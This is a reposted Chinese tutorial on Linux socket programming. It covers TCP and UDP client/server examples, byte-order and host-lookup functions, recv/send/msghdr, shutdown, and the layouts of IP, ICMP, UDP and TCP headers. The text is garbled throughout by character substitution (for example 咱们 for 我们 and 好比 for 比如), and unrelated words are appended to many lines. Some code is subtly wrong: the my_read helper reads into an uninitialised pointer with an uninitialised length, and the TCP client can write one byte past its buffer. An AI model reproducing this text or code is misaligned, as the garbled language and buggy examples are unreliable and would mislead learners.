【转】Linux网络编程入门
(一)Linux网络编程--网络知识介绍html
Linux网络编程--网络知识介绍
客户端和服务端
网络程序和普通的程序有一个最大的区别是网络程序是由两个部分组成的--客户端和服务器端.linux
客户端
在网络程序中，若是一个程序主动和外面的程序通讯，那么咱们把这个程序称为客户端程序。 好比咱们使用ftp程序从另一
个地方获取文件的时候，是咱们的ftp程序主动同外面进行通讯（获取文件）， 因此这个地方咱们的ftp程序就是客户端程序。
服务端
和客户端相对应的程序即为服务端程序。被动的等待外面的程序来和本身通信的程序称为服务端程序。
好比上面的文件获取中，另一个地方的程序就是服务端，咱们从服务端获取文件过来。
互为客户和服务端
实际生活中有些程序是互为服务和客户端。在这种状况项目， 一个程序既为客户端也是服务端。程序员
经常使用的命令
因为网络程序是有两个部分组成,因此在调试的时候比较麻烦,为此咱们有必要知道一些经常使用的网络命令
netstat
命令netstat是用来显示网络的链接,路由表和接口统计等网络的信息.netstat有许多的选项.
咱们经常使用的选项是-na 用来显示详细的网络状态.至于其它的选项咱们可使用帮助手册得到详细的状况.
telnet
telnet是一个用来登陆远程的程序,可是咱们彻底能够用这个程序来调试咱们的服务端程序的.
好比咱们的服务器程序在监听8888端口,咱们能够用
telnet localhost 8888
来查看服务端的情况.
pingping 程序用来判断网络的状态是否正常，最常常的一个用法是
ping 192.168.0.1
表示咱们想查看到192.168.0.1的硬件链接是否正常
TCP/UDP介绍
TCP(Transfer Control Protocol)传输控制协议是一种面向链接的协议, 当咱们的网络程序使用这个协议的时候,
网络能够保证咱们的客户端和服务端的链接是可靠的,安全的.算法
UDP(User Datagram Protocol)用户数据报协议是一种非面向链接的协议,
这种协议并不能保证咱们的网络程序的链接是可靠的,因此咱们如今编写的程序通常是采用TCP协议的.编程
(二)Linux网络编程--初等网络函数介绍（TCP）小程序
Linux系统是经过提供套接字(socket)来进行网络编程的.网络程序经过socket和其它几个函数的调用,
会返回一个 通信的文件描述符,咱们能够将这个描述符当作普通的文件的描述符来操做,这就是linux的设备无关性的好处.
咱们能够经过向描述符读写操做实现网络之间的数据交流.
(一)socket
int socket(int domain, int type,int protocol)数组
domain:说明咱们网络程序所在的主机采用的通信协族(AF_UNIX和AF_INET等).
AF_UNIX只可以用于单一的Unix 系统进程间通讯,
而AF_INET是针对Internet的,于是能够容许在远程
主机之间通讯(当咱们 man socket时发现 domain可选项是 PF_*而不是AF_*,由于glibc是posix的实现因此用PF代替了AF,
不过咱们均可以使用的).安全
type:咱们网络程序所采用的通信协议(SOCK_STREAM,SOCK_DGRAM等)
SOCK_STREAM代表咱们用的是TCP 协议,这样会提供按顺序的,可靠,双向,面向链接的比特流.
SOCK_DGRAM 代表咱们用的是UDP协议,这样只会提供定长的,不可靠,无链接的通讯.服务器
protocol:因为咱们指定了type,因此这个地方咱们通常只要用0来代替就能够了 socket为网络通信作基本的准备.
成功时返回文件描述符,失败时返回-1,看errno可知道出错的详细状况.网络
(二)bind
int bind(int sockfd, struct sockaddr *my_addr, int addrlen)
sockfd:是由socket调用返回的文件描述符.
addrlen:是sockaddr结构的长度.
my_addr:是一个指向sockaddr的指针. 在中有 sockaddr的定义
struct sockaddr{
unisgned short as_family;
char sa_data[14];
};
不过因为系统的兼容性,咱们通常不用这个头文件,而使用另一个结构(struct sockaddr_in) 来代替.在中有sockaddr_in的定义
struct sockaddr_in{
unsigned short sin_family;
unsigned short int sin_port;
struct in_addr sin_addr;
unsigned char sin_zero[8];
}
咱们主要使用Internet因此
sin_family通常为AF_INET,
sin_addr设置为INADDR_ANY表示能够和任何的主机通讯,
sin_port是咱们要监听的端口号.sin_zero[8]是用来填充的.
bind将本地的端口同socket返回的文件描述符捆绑在一块儿.成功是返回0,失败的状况和socket同样
(三)listen
int listen(int sockfd,int backlog)
sockfd:是bind后的文件描述符.
backlog:设置请求排队的最大长度.当有多个客户端程序和服务端相连时, 使用这个表示能够介绍的排队长度.
listen函数将bind的文件描述符变为监听套接字.返回的状况和bind同样.
(四)accept
int accept(int sockfd, struct sockaddr *addr,int *addrlen)
sockfd:是listen后的文件描述符.
addr,addrlen是用来给客户端的程序填写的,服务器端只要传递指针就能够了. bind,listen和accept是服务器端用的函数,
accept调用时,服务器端的程序会一直阻塞到有一个 客户程序发出了链接. accept成功时返回最后的服务器端的文件描述符,
这个时候服务器端能够向该描述符写信息了. 失败时返回-1
(五)connect
int connect(int sockfd, struct sockaddr * serv_addr,int addrlen)
sockfd:socket返回的文件描述符.
serv_addr:储存了服务器端的链接信息.其中sin_add是服务端的地址
addrlen:serv_addr的长度
connect函数是客户端用来同服务端链接的.成功时返回0,sockfd是同服务端通信的文件描述符 失败时返回-1.
(六)实例
服务器端程序
CODE: [Copy to clipboard]
--------------------------------------------------------------------------------
/******* 服务器程序 (server.c) ************/
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <arpa/inet.h>
int main(int argc, char *argv[])
{
int sockfd,new_fd;
struct sockaddr_in server_addr;
struct sockaddr_in client_addr;
int sin_size,portnumber;
char hello[]="Hello! Are You Fine?\n";
if(argc!=2)
{
fprintf(stderr,"Usage:%s portnumber\a\n",argv[0]);
exit(1);
}
if((portnumber=atoi(argv[1]))<0)
{
fprintf(stderr,"Usage:%s portnumber\a\n",argv[0]);
exit(1);
}
/* 服务器端开始创建socket描述符 */
if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1)
{
fprintf(stderr,"Socket error:%s\n\a",strerror(errno));
exit(1);
}
/* 服务器端填充 sockaddr结构 */
bzero(&server_addr,sizeof(struct sockaddr_in));
server_addr.sin_family=AF_INET;
server_addr.sin_addr.s_addr=htonl(INADDR_ANY);
server_addr.sin_port=htons(portnumber);
/* 捆绑sockfd描述符 */
if(bind(sockfd,(struct sockaddr *)(&server_addr),sizeof(struct sockaddr))==-1)
{
fprintf(stderr,"Bind error:%s\n\a",strerror(errno));
exit(1);
}
/* 监听sockfd描述符 */
if(listen(sockfd,5)==-1)
{
fprintf(stderr,"Listen error:%s\n\a",strerror(errno));
exit(1);
}
while(1)
{
/* 服务器阻塞,直到客户程序创建链接 */
sin_size=sizeof(struct sockaddr_in);
if((new_fd=accept(sockfd,(struct sockaddr *)(&client_addr),&sin_size))==-1)
{
fprintf(stderr,"Accept error:%s\n\a",strerror(errno));
exit(1);
}
fprintf(stderr,"Server get connection from %s\n",
inet_ntoa(client_addr.sin_addr));
if(write(new_fd,hello,strlen(hello))==-1)
{
fprintf(stderr,"Write Error:%s\n",strerror(errno));
exit(1);
}
/* 这个通信已经结束 */
close(new_fd);
/* 循环下一个 */
}
close(sockfd);
exit(0);
}
客户端程序
CODE: [Copy to clipboard]
--------------------------------------------------------------------------------
/******* 客户端程序 client.c ************/
/******* 客户端程序 client.c ************/
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <arpa/inet.h>
int main(int argc, char *argv[])
{
int sockfd;
char buffer[1024];
struct sockaddr_in server_addr;
struct hostent *host;
int portnumber,nbytes;
if(argc!=3)
{
fprintf(stderr,"Usage:%s hostname portnumber\a\n",argv[0]);
exit(1);
}
if((host=gethostbyname(argv[1]))==NULL)
{
fprintf(stderr,"Gethostname error\n");
exit(1);
}
if((portnumber=atoi(argv[2]))<0)
{
fprintf(stderr,"Usage:%s hostname portnumber\a\n",argv[0]);
exit(1);
}
/* 客户程序开始创建 sockfd描述符 */
if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1)
{
fprintf(stderr,"Socket Error:%s\a\n",strerror(errno));
exit(1);
}
/* 客户程序填充服务端的资料 */
bzero(&server_addr,sizeof(server_addr));
server_addr.sin_family=AF_INET;
server_addr.sin_port=htons(portnumber);
server_addr.sin_addr=*((struct in_addr *)host->h_addr);
/* 客户程序发起链接请求 */
if(connect(sockfd,(struct sockaddr *)(&server_addr),sizeof(struct sockaddr))==-1)
{
fprintf(stderr,"Connect Error:%s\a\n",strerror(errno));
exit(1);
}
/* 链接成功了 */
if((nbytes=read(sockfd,buffer,1024))==-1)
{
fprintf(stderr,"Read Error:%s\n",strerror(errno));
exit(1);
}
buffer[nbytes]='\0';
printf("I have received:%s\n",buffer);
/* 结束通信 */
close(sockfd);
exit(0);
}
MakeFile
这里咱们使用GNU 的make实用程序来编译. 关于make的详细说明见 Make 使用介绍
CODE: [Copy to clipboard]
######### Makefile ###########
all:server client
server:server.c
gcc $^ -o $@
client:client.c
gcc $^ -o $@
运行make后会产生两个程序server(服务器端)和client(客户端) 先运行./server portnumber&
(portnumber随便取一个大于1204且不在/etc/services中出现的号码 就用8888好了),
而后运行 ./client localhost 8888 看看有什么结果. (你也能够用telnet和netstat试一试.)
上面是一个最简单的网络程序,不过是否是也有点烦.上面有许多函数咱们尚未解释. 我会在下一章进行的详细的说明.
(七) 总结
总的来讲网络程序是由两个部分组成的--客户端和服务器端.它们的创建步骤通常是:
服务器端
socket-->bind-->listen-->accept
客户端
socket-->connect
(三)Linux网络编程--3. 服务器和客户机的信息函数
这一章咱们来学习转换和网络方面的信息函数.
3.1 字节转换函数
在网络上面有着许多类型的机器,这些机器在表示数据的字节顺序是不一样的, 好比i386芯片是低字节在内存地址的低端,
高字节在高端,而alpha芯片却相反. 为了统一块儿来,在Linux下面,有专门的字节转换函数.
unsigned long int htonl(unsigned long int hostlong)
unsigned short int htons(unisgned short int hostshort)
unsigned long int ntohl(unsigned long int netlong)
unsigned short int ntohs(unsigned short int netshort)
在这四个转换函数中,h 表明host, n 表明 network.s 表明short l 表明long
第一个函数的意义是将本机器上的long数据转化为网络上的long. 其余几个函数的意义也差很少.
3.2 IP和域名的转换
在网络上标志一台机器能够用IP或者是用域名.那么咱们怎么去进行转换呢?
struct hostent *gethostbyname(const char *hostname)
struct hostent *gethostbyaddr(const char *addr,int len,int type)
在中有struct hostent的定义
struct hostent{
char *h_name; /* 主机的正式名称 */
char *h_aliases; /* 主机的别名 */
int h_addrtype; /* 主机的地址类型 AF_INET*/
int h_length; /* 主机的地址长度 对于IP4 是4字节32位*/
char **h_addr_list; /* 主机的IP地址列表 */
}
#define h_addr h_addr_list[0] /* 主机的第一个IP地址*/
gethostbyname能够将机器名(如 linux.yessun.com)转换为一个结构指针.在这个结构里面储存了域名的信息
gethostbyaddr能够将一个32位的IP地址(C0A80001)转换为结构指针.
这两个函数失败时返回NULL 且设置h_errno错误变量,调用h_strerror()能够获得详细的出错信息
3.3 字符串的IP和32位的IP转换.
在网络上面咱们用的IP都是数字加点(192.168.0.1)构成的, 而在struct in_addr结构中用的是32位的IP,
咱们上面那个32位IP(C0A80001)是的192.168.0.1 为了转换咱们可使用下面两个函数
int inet_aton(const char *cp,struct in_addr *inp)
char *inet_ntoa(struct in_addr in)
函数里面 a 表明 ascii n 表明network.第一个函数表示将a.b.c.d的IP转换为32位的IP,
存储在 inp指针里面.第二个是将32位IP转换为a.b.c.d的格式.
3.4 服务信息函数
在网络程序里面咱们有时候须要知道端口.IP和服务信息.这个时候咱们可使用如下几个函数
int getsockname(int sockfd,struct sockaddr *localaddr,int *addrlen)
int getpeername(int sockfd,struct sockaddr *peeraddr, int *addrlen)
struct servent *getservbyname(const char *servname,const char *protoname)
struct servent *getservbyport(int port,const char *protoname)
struct servent
{
char *s_name; /* 正式服务名 */
char **s_aliases; /* 别名列表 */
int s_port; /* 端口号 */
char *s_proto; /* 使用的协议 */
}
通常咱们不多用这几个函数.对应客户端,当咱们要获得链接的端口号时在connect调用成功后使用可获得
系统分配的端口号.对于服务端,咱们用INADDR_ANY填充后,为了获得链接的IP咱们能够在accept调用成功后 使用而获得IP地址.
在网络上有许多的默认端口和服务,好比端口21对ftp80对应WWW.为了获得指定的端口号的服务 咱们能够调用第四个函数,
相反为了获得端口号能够调用第三个函数.
3.5 一个例子
CODE: [Copy to clipboard]
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <arpa/inet.h>
int main(int argc ,char **argv)
{
struct sockaddr_in addr;
struct hostent *host;
char **alias;
if(argc<2)
{
fprintf(stderr,"Usage:%s hostname|ip..\n\a",argv[0]);
exit(1);
}
argv++;
for(;*argv!=NULL;argv++)
{
/* 这里咱们假设是IP*/
if(inet_aton(*argv,&addr.sin_addr)!=0)
{
host=gethostbyaddr((char *)&addr.sin_addr,4,AF_INET);
printf("Address information of Ip %s\n",*argv);
}
else
{
/* 失败,难道是域名?*/
host=gethostbyname(*argv); printf("Address information
of host %s\n",*argv);
}
if(host==NULL)
{
/* 都不是 ,算了不找了*/
fprintf(stderr,"No address information of %s\n",*argv);
continue;
}
printf("Official host name %s\n",host->h_name);
printf("Name aliases:");
for(alias=host->h_aliases;*alias!=NULL;alias++)
printf("%s ,",*alias);
printf("\nIp address:");
for(alias=host->h_addr_list;*alias!=NULL;alias++)
printf("%s ,",inet_ntoa(*(struct in_addr *)(*alias)));
}
}
在这个例子里面,为了判断用户输入的是IP仍是域名咱们调用了两个函数,第一次咱们假设输入的是IP因此调用inet_aton,
失败的时候,再调用gethostbyname而获得信息.
(四)Linux网络编程--4. 完整的读写函数
一旦咱们创建了链接,咱们的下一步就是进行通讯了.在Linux下面把咱们前面创建的通道当作是文件描述符,
这样服务器端和客户端进行通讯时候,只要往文件描述符里面读写东西了. 就象咱们往文件读写同样.
4.1 写函数write
ssize_t write(int fd,const void *buf,size_t nbytes)
write函数将buf中的nbytes字节内容写入文件描述符fd.成功时返回写的字节数.失败时返回-1. 并设置errno变量.
在网络程序中,当咱们向套接字文件描述符写时有俩种可能.
1)write的返回值大于0,表示写了部分或者是所有的数据.
2)返回的值小于0,此时出现了错误.咱们要根据错误类型来处理.
若是错误为EINTR表示在写的时候出现了中断错误.
若是为EPIPE表示网络链接出现了问题(对方已经关闭了链接).
为了处理以上的状况,咱们本身编写一个写函数来处理这几种状况.
int my_write(int fd,void *buffer,int length)
{
int bytes_left;
int written_bytes;
char *ptr;
ptr=buffer;
bytes_left=length;
while(bytes_left>0)
{
/* 开始写*/
written_bytes=write(fd,ptr,bytes_left);
if(written_bytes<=0) /* 出错了*/
{
if(errno==EINTR) /* 中断错误 咱们继续写*/
written_bytes=0;
else /* 其余错误 没有办法,只好撤退了*/
return(-1);
}
bytes_left-=written_bytes;
ptr+=written_bytes; /* 从剩下的地方继续写 */
}
return(0);
}
4.2 读函数read
ssize_t read(int fd,void *buf,size_t nbyte) read函数是负责从fd中读取内容.当读成功时,
read返回实际所读的字节数,若是返回的值是0 表示已经读到文件的结束了,小于0表示出现了错误.
若是错误为EINTR说明读是由中断引发的,
若是是ECONNREST表示网络链接出了问题. 和上面同样,咱们也写一个本身的读函数.
int my_read(int fd,void *buffer,int length)
{
int bytes_left;
int bytes_read;
char *ptr;
bytes_left=length;
while(bytes_left>0)
{
bytes_read=read(fd,ptr,bytes_read);
if(bytes_read<0)
{
if(errno==EINTR)
bytes_read=0;
else
return(-1);
}
else if(bytes_read==0)
break;
bytes_left-=bytes_read;
ptr+=bytes_read;
}
return(length-bytes_left);
}
4.3 数据的传递
有了上面的两个函数,咱们就能够向客户端或者是服务端传递数据了.好比咱们要传递一个结构.可使用以下方式
/* 客户端向服务端写 */
struct my_struct my_struct_client;
write(fd,(void *)&my_struct_client,sizeof(struct my_struct);
/* 服务端的读*/
char buffer[sizeof(struct my_struct)];
struct *my_struct_server;
read(fd,(void *)buffer,sizeof(struct my_struct));
my_struct_server=(struct my_struct *)buffer;
在网络上传递数据时咱们通常都是把数据转化为char类型的数据传递.接收的时候也是同样的 注意的是咱们没有必要在网络上传
递指针(由于传递指针是没有任何意义的,咱们必须传递指针所指向的内容)
(五)Linux网络编程--5. 用户数据报发送
咱们前面已经学习网络程序的一个很大的部分,由这个部分的知识,咱们实际上能够写出大部分的基于TCP协议的网络程序了.
如今在 Linux下的大部分程序都是用咱们上面所学的知识来写的.咱们能够去找一些源程序来参考一下.这一章,咱们简单的学习一
下基于UDP协议的网络程序.
5.1 两个经常使用的函数
int recvfrom(int sockfd,void *buf,int len,unsigned int flags,struct sockaddr * from int *fromlen)
int sendto(int sockfd,const void *msg,int len,unsigned int flags,struct sockaddr *to int tolen)
sockfd,buf,len的意义和read,write同样,分别表示套接字描述符,发送或接收的缓冲区及大小.
recvfrom负责从 sockfd接收数据,若是from不是NULL,那么在from里面存储了信息来源的状况,若是对信息的来源不感兴趣,
能够将from和fromlen 设置为NULL.sendto负责向to发送信息.此时在to里面存储了收信息方的详细资料.
5.2 一个实例
CODE: [Copy to clipboard]
--------------------------------------------------------------------------------
/* 服务端程序 server.c */
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <arpa/inet.h>
#define SERVER_PORT 8888
#define MAX_MSG_SIZE 1024
void udps_respon(int sockfd)
{
struct sockaddr_in addr;
int n;
socklen_t addrlen;
char msg[MAX_MSG_SIZE];
while(1)
{ /* 从网络上读,写到网络上面去 */
memset(msg, 0, sizeof(msg));
addrlen = sizeof(struct sockaddr);
n=recvfrom(sockfd,msg,MAX_MSG_SIZE,0,
(struct sockaddr*)&addr,&addrlen);
/* 显示服务端已经收到了信息 */
fprintf(stdout,"I have received %s",msg);
sendto(sockfd,msg,n,0,(struct sockaddr*)&addr,addrlen);
}
}
int main(void)
{
int sockfd;
struct sockaddr_in addr;
sockfd=socket(AF_INET,SOCK_DGRAM,0);
if(sockfd<0)
{
fprintf(stderr,"Socket Error:%s\n",strerror(errno));
exit(1);
}
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_addr.s_addr=htonl(INADDR_ANY);
addr.sin_port=htons(SERVER_PORT);
if(bind(sockfd,(struct sockaddr *)&addr,sizeof(struct sockaddr_in))<0)
{
fprintf(stderr,"Bind Error:%s\n",strerror(errno));
exit(1);
}
udps_respon(sockfd);
close(sockfd);
}
客户端程序
CODE: [Copy to clipboard]
--------------------------------------------------------------------------------
/* 客户端程序 */
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <arpa/inet.h>
#define MAX_BUF_SIZE 1024
void udpc_requ(int sockfd,const struct sockaddr_in *addr,socklen_t len)
{
char buffer[MAX_BUF_SIZE];
int n;
while(fgets(buffer,MAX_BUF_SIZE,stdin))
{ /* 从键盘读入,写到服务端 */
sendto(sockfd,buffer,strlen(buffer),0,addr,len);
bzero(buffer,MAX_BUF_SIZE);
/* 从网络上读,写到屏幕上 */
memset(buffer, 0, sizeof(buffer));
n=recvfrom(sockfd,buffer,MAX_BUF_SIZE, 0, NULL, NULL);
if(n <= 0)
{
fprintf(stderr, "Recv Error %s\n", strerror(errno));
return;
}
buffer[n]=0;
fprintf(stderr, "get %s", buffer);
}
}
int main(int argc,char **argv)
{
int sockfd,port;
struct sockaddr_in addr;
if(argc!=3)
{
fprintf(stderr,"Usage:%s server_ip server_port\n",argv[0]);
exit(1);
}
if((port=atoi(argv[2]))<0)
{
fprintf(stderr,"Usage:%s server_ip server_port\n",argv[0]);
exit(1);
}
sockfd=socket(AF_INET,SOCK_DGRAM,0);
if(sockfd<0)
{
fprintf(stderr,"Socket Error:%s\n",strerror(errno));
exit(1);
}
/* 填充服务端的资料 */
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(port);
if(inet_aton(argv[1],&addr.sin_addr)<0)
{
fprintf(stderr,"Ip error:%s\n",strerror(errno));
exit(1);
}
if(connect(sockfd, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1)
{
fprintf(stderr, "connect error %s\n", strerror(errno));
exit(1);
}
udpc_requ(sockfd,&addr,sizeof(struct sockaddr_in));
close(sockfd);
}
########### 编译文件 Makefile ##########
all:server client
server:server.c
gcc -o server server.c
client:client.c
gcc -o client client.c
clean:
rm -f server
rm -f client
rm -f core
运行UDP Server程序
执行./server &命令来启动服务程序。咱们可使用netstat -ln命令来观察服务程序绑定的IP地址和端口，部分输出信息以下：
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:32768 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:6000 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN
udp 0 0 0.0.0.0:32768 0.0.0.0:*
udp 0 0 0.0.0.0:8888 0.0.0.0:*
udp 0 0 0.0.0.0:111 0.0.0.0:*
udp 0 0 0.0.0.0:882 0.0.0.0:*
能够看到udp处有“0.0.0.0:8888”的内容，说明服务程序已经正常运行，能够接收主机上任何IP地址且端口为8888的数据。
三、运行UDP Client程序
执行./client 127.0.0.1 8888命令来启动客户程序，使用127.0.0.1来链接服务程序，执行效果以下：
Hello, World!
Hello, World!
this is a test
this is a test
^d
输入的数据都正确从服务程序返回了，按ctrl+d能够结束输入，退出程序。
(六)Linux网络编程--6. 高级套接字函数
在前面的几个部分里面,咱们已经学会了怎么样从网络上读写信息了.前面的一些函数(read,write)是网络程序里面最基本的函数.
也是最原始的通讯函数.在这一章里面,咱们一块儿来学习网络通讯的高级函数.这一章咱们学习另外几个读写函数.
6.1 recv和send
recv和send函数提供了和read和write差很少的功能.不过它们提供 了第四个参数来控制读写操做.
int recv(int sockfd,void *buf,int len,int flags)
int send(int sockfd,void *buf,int len,int flags)
前面的三个参数和read,write同样,第四个参数能够是0或者是如下的组合
_______________________________________________________________
| MSG_DONTROUTE | 不查找路由表 |
| MSG_OOB | 接受或者发送带外数据 |
| MSG_PEEK | 查看数据,并不从系统缓冲区移走数据 |
| MSG_WAITALL | 等待全部数据 |
|---------------------------------------------------------------|
MSG_DONTROUTE:是send函数使用的标志.这个标志告诉IP协议.目的主机在本地网络上面,没有必要查找路由表.
这个标志通常用网络诊断和路由程序里面.
MSG_OOB:表示能够接收和发送带外的数据.关于带外数据咱们之后会解释的.
MSG_PEEK:是recv函数的使用标志,表示只是从系统缓冲区中读取内容,而不清除系统缓冲区的内容.这样下次读的时候,
仍然是同样的内容.通常在有多个进程读写数据时可使用这个标志.
MSG_WAITALL是recv函数的使用标志,表示等到全部的信息到达时才返回.使用这个标志的时候recv回一直阻塞,直到指定的条件知足,或者是发生了错误.
1)当读到了指定的字节时,函数正常返回.返回值等于len
2)当读到了文件的结尾时,函数正常返回.返回值小于len
3) 当操做发生错误时,返回-1,且设置错误为相应的错误号(errno)
若是flags为0,则和read,write同样的操做.还有其它的几个选项,不过咱们实际上用的不多,
能够查看 Linux Programmer's Manual获得详细解释.
6.2 recvfrom和sendto
这两个函数通常用在非套接字的网络程序当中(UDP),咱们已经在前面学会了.
6.3 recvmsg和sendmsg
recvmsg和sendmsg能够实现前面全部的读写函数的功能.
int recvmsg(int sockfd,struct msghdr *msg,int flags)
int sendmsg(int sockfd,struct msghdr *msg,int flags)
struct msghdr
{
void *msg_name;
int msg_namelen;
struct iovec *msg_iov;
int msg_iovlen;
void *msg_control;
int msg_controllen;
int msg_flags;
}
struct iovec
{
void *iov_base; /* 缓冲区开始的地址 */
size_t iov_len; /* 缓冲区的长度 */
}
msg_name和 msg_namelen当套接字是非面向链接时(UDP),它们存储接收和发送方的地址信息.
msg_name其实是一个指向struct sockaddr的指针,
msg_namelen是结构的长度.当套接字是面向链接时,这两个值应设为NULL.
msg_iov和 msg_iovlen指出接受和发送的缓冲区内容.msg_iov是一个结构指针,msg_iovlen指出这个结构数组的大小.
msg_control和msg_controllen这两个变量是用来接收和发送控制数据时的 msg_flags指定接受和发送的操做选项.
和 recv,send的选项同样
6.4 套接字的关闭
关闭套接字有两个函数close和shutdown.用close时和咱们关闭文件同样.
6.5 shutdown
int shutdown(int sockfd,int howto)
TCP链接是双向的(是可读写的),当咱们使用close时,会把读写通道都关闭,有时侯咱们但愿只关闭一个方向,这个时候咱们可使用
shutdown.针对不一样的howto,系统回采起不一样的关闭方式.
howto=0这个时候系统会关闭读通道.可是能够继续往接字描述符写.
howto=1关闭写通道,和上面相反,着时候就只能够读了.
howto=2关闭读写通道,和close同样 在多进程程序里面,若是有几个子进程共享一个套接字时,若是咱们使用shutdown,
那么全部的子进程都不可以操做了,这个时候咱们只可以使用close来关闭子进程的套接字描述符.
(七)Linux网络编程--7. TCP/IP协议
你也许据说过TCP/IP协议,那么你知道到底什么是TCP,什么是IP吗?在这一章里面,咱们一块儿来学习这个目前网络上用最普遍的协议.
7.1 网络传输分层
若是你考过计算机等级考试,那么你就应该已经知道了网络传输分层这个概念.在网络上,人们为了传输数据时的方便,
把网络的传输分为7个层次.分别是:应用层,表示层,会话层,传输层,网络层,数据链路层和物理层.分好了层之后,传输数据时,
上一层若是要数据的话,就能够直接向下一层要了,而没必要要管数据传输的细节.下一层也只向它的上一层提供数据,
而不要去管其它东西了.若是你不想考试,你没有必要去记这些东西的.只要知道是分层的,并且各层的做用不一样.
7.2 IP协议
IP协议是在网络层的协议.它主要完成数据包的发送做用. 下面这个表是IP4的数据包格式
0 4 8 16 32
--------------------------------------------------
|版本 |首部长度|服务类型| 数据包总长 |
--------------------------------------------------
| 标识 |DF |MF| 碎片偏移 |
--------------------------------------------------
| 生存时间 | 协议 | 首部较验和 |
------------------------------------------------
| 源IP地址 |
------------------------------------------------
| 目的IP地址 |
-------------------------------------------------
| 选项 |
=================================================
| 数据 |
-------------------------------------------------
下面咱们看一看IP的结构定义
struct ip
{
#if __BYTE_ORDER == __LITTLE_ENDIAN
unsigned int ip_hl:4; /* header length */
unsigned int ip_v:4; /* version */
#endif
#if __BYTE_ORDER == __BIG_ENDIAN
unsigned int ip_v:4; /* version */
unsigned int ip_hl:4; /* header length */
#endif
u_int8_t ip_tos; /* type of service */
u_short ip_len; /* total length */
u_short ip_id; /* identification */
u_short ip_off; /* fragment offset field */
#define IP_RF 0x8000 /* reserved fragment flag */
#define IP_DF 0x4000 /* dont fragment flag */
#define IP_MF 0x2000 /* more fragments flag */
#define IP_OFFMASK 0x1fff /* mask for fragmenting bits */
u_int8_t ip_ttl; /* time to live */
u_int8_t ip_p; /* protocol */
u_short ip_sum; /* checksum */
struct in_addr ip_src, ip_dst; /* source and dest address */
};
ip_vIP协议的版本号,这里是4,如今IPV6已经出来了
ip_hlIP包首部长度,这个值以4字节为单位.IP协议首部的固定长度为20个字节,若是IP包没有选项,那么这个值为5.
ip_tos服务类型,说明提供的优先权.
ip_len说明IP数据的长度.以字节为单位.
ip_id标识这个IP数据包.
ip_off碎片偏移,这和上面ID一块儿用来重组碎片的.
ip_ttl生存时间.没通过一个路由的时候减一,直到为0时被抛弃.
ip_p协议,表示建立这个IP数据包的高层协议.如TCP,UDP协议.
ip_sum首部校验和,提供对首部数据的校验.
ip_src,ip_dst发送者和接收者的IP地址
关于IP协议的详细状况,请参考 RFC791
7.3 ICMP协议
ICMP是消息控制协议,也处于网络层.在网络上传递IP数据包时,若是发生了错误,那么就会用ICMP协议来报告错误.
ICMP包的结构以下:
0 8 16 32
---------------------------------------------------------------------
| 类型 | 代码 | 校验和 |
--------------------------------------------------------------------
| 数据 | 数据 |
--------------------------------------------------------------------
ICMP在中的定义是
struct icmphdr
{
u_int8_t type; /* message type */
u_int8_t code; /* type sub-code */
u_int16_t checksum;
union
{
struct
{
u_int16_t id;
u_int16_t sequence;
} echo; /* echo datagram */
u_int32_t gateway; /* gateway address */
struct
{
u_int16_t __unused;
u_int16_t mtu;
} frag; /* path mtu discovery */
} un;
};
关于ICMP协议的详细状况能够查看 RFC792
7.4 UDP协议
UDP协议是创建在IP协议基础之上的,用在传输层的协议.UDP和IP协议同样是不可靠的数据报服务.UDP的头格式为:
0 16 32
---------------------------------------------------
| UDP源端口 | UDP目的端口 |
---------------------------------------------------
| UDP数据报长度 | UDP数据报校验 |
---------------------------------------------------
UDP结构在中的定义为:
struct udphdr {
u_int16_t source;
u_int16_t dest;
u_int16_t len;
u_int16_t check;
};
关于UDP协议的详细状况,请参考 RFC768
7.5 TCP
TCP协议也是创建在IP协议之上的,不过TCP协议是可靠的.按照顺序发送的.TCP的数据结构比前面的结构都要复杂.
0 4 8 10 16 24 32
-------------------------------------------------------------------
| 源端口 | 目的端口 |
-------------------------------------------------------------------
| 序列号 |
------------------------------------------------------------------
| 确认号 |
------------------------------------------------------------------
| | |U|A|P|S|F| |
|首部长度| 保留 |R|C|S|Y|I| 窗口 |
| | |G|K|H|N|N| |
-----------------------------------------------------------------
| 校验和 | 紧急指针 |
-----------------------------------------------------------------
| 选项 | 填充字节 |
-----------------------------------------------------------------
TCP的结构在中定义为:
struct tcphdr
{
u_int16_t source;
u_int16_t dest;
u_int32_t seq;
u_int32_t ack_seq;
#if __BYTE_ORDER == __LITTLE_ENDIAN
u_int16_t res1:4;
u_int16_t doff:4;
u_int16_t fin:1;
u_int16_t syn:1;
u_int16_t rst:1;
u_int16_t psh:1;
u_int16_t ack:1;
u_int16_t urg:1;
u_int16_t res2:2;
#elif __BYTE_ORDER == __BIG_ENDIAN
u_int16_t doff:4;
u_int16_t res1:4;
u_int16_t res2:2;
u_int16_t urg:1;
u_int16_t ack:1;
u_int16_t psh:1;
u_int16_t rst:1;
u_int16_t syn:1;
u_int16_t fin:1;
#endif
u_int16_t window;
u_int16_t check;
u_int16_t urg_prt;
};
source发送TCP数据的源端口
dest接受TCP数据的目的端口
